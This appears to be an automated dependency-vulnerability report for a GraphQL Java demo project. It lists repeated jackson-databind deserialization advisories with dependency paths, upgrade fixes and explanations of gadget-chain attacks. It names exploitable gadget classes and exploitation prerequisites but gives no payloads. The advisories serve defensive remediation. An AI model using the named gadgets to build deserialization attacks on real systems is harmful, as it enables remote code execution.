  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.7.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A malicious user could perform a SSRF attack via the javax.swing gadget (specifically javax.swing.JTextPane).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.5, 2.9.10.7 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. Mishandles the interaction between serialization gadgets and typing, related to:

  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap)
  • br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core)
  • org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig (aka shaded hikari-config)

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.7.9.7, 2.8.11.6, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to com.caucho.config.types.ResourceRef (aka caucho-quercus).

Note: This vulnerability does not affect release 2.10.0 onward.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory (aka aries.transaction.jms).

Note: This vulnerability does not affect release 2.10.0 onward.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to gadget javax.swing.JEditorPane.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.7.9.7, 2.8.11.6, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to gadget org.aoju.bus.proxy.provider.remoting.RmiProvider (aka bus-proxy).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

